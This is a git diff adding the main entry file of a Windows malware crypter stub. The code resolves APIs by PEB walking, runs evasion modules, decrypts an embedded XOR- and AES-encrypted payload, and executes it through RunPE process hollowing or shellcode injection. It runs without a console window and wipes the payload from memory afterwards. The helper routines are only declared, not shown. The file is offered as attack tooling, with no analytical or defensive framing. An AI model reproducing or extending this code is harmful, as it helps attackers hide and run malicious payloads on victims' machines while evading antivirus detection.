initial commit

crypter_stubs/stub_main.c

@@ -0,0 +1,80 @@
+/**
+ * stub_main.c — Crypter stub entry point
+ *
+ * Flow:
+ *   1. Resolve all APIs via PEB walking
+ *   2. Run enabled evasion modules
+ *   3. Decrypt embedded payload (XOR + AES-256-CBC)
+ *   4. Execute via selected mode (RunPE or Shellcode)
+ *   5. Wipe decrypted payload from memory
+ *
+ * The crypter engine defines:
+ *   - EVASION_xxx flags for each enabled evasion module
+ *   - CRYPT_MODE_RUNPE or CRYPT_MODE_SHELLCODE
+ */
+
+#include <windows.h>
+#include <stdint.h>
+#include <string.h>
+
+#include "api_resolve.h"
+#include "decrypt_layer.h"
+#include "evasion.h"
+
+/* Mode-specific execution functions (linked from runpe_stub.c or shellcode_stub.c) */
+#ifdef CRYPT_MODE_RUNPE
+int runpe_execute(const uint8_t *pe_data, uint32_t pe_len);
+#endif
+
+#ifdef CRYPT_MODE_SHELLCODE
+int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len);
+#endif
+
+/**
+ * Securely wipe memory with volatile write to prevent compiler optimization.
+ */
+static void secure_wipe(void *ptr, size_t len) {
+    volatile uint8_t *p = (volatile uint8_t *)ptr;
+    while (len--) *p++ = 0;
+}
+
+/**
+ * WinMain — GUI subsystem entry point (no console window).
+ */
+int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
+                   LPSTR lpCmdLine, int nCmdShow) {
+    (void)hInstance;
+    (void)hPrevInstance;
+    (void)lpCmdLine;
+    (void)nCmdShow;
+
+    /* Step 1: Resolve all APIs via PEB walking */
+    api_resolve_init();
+
+    /* Step 2: Run evasion modules */
+    evasion_init_all();
+
+    /* Step 3: Decrypt payload */
+    uint32_t payload_len = 0;
+    uint8_t *payload = decrypt_payload(&payload_len);
+    if (!payload || payload_len == 0) {
+        return 1;
+    }
+
+    /* Step 4: Execute */
+    int result = -1;
+
+#ifdef CRYPT_MODE_RUNPE
+    result = runpe_execute(payload, payload_len);
+#endif
+
+#ifdef CRYPT_MODE_SHELLCODE
+    result = shellcode_execute(payload, payload_len);
+#endif
+
+    /* Step 5: Wipe decrypted payload */
+    secure_wipe(payload, payload_len);
+    HeapFree(GetProcessHeap(), 0, payload);
+
+    return result;
+}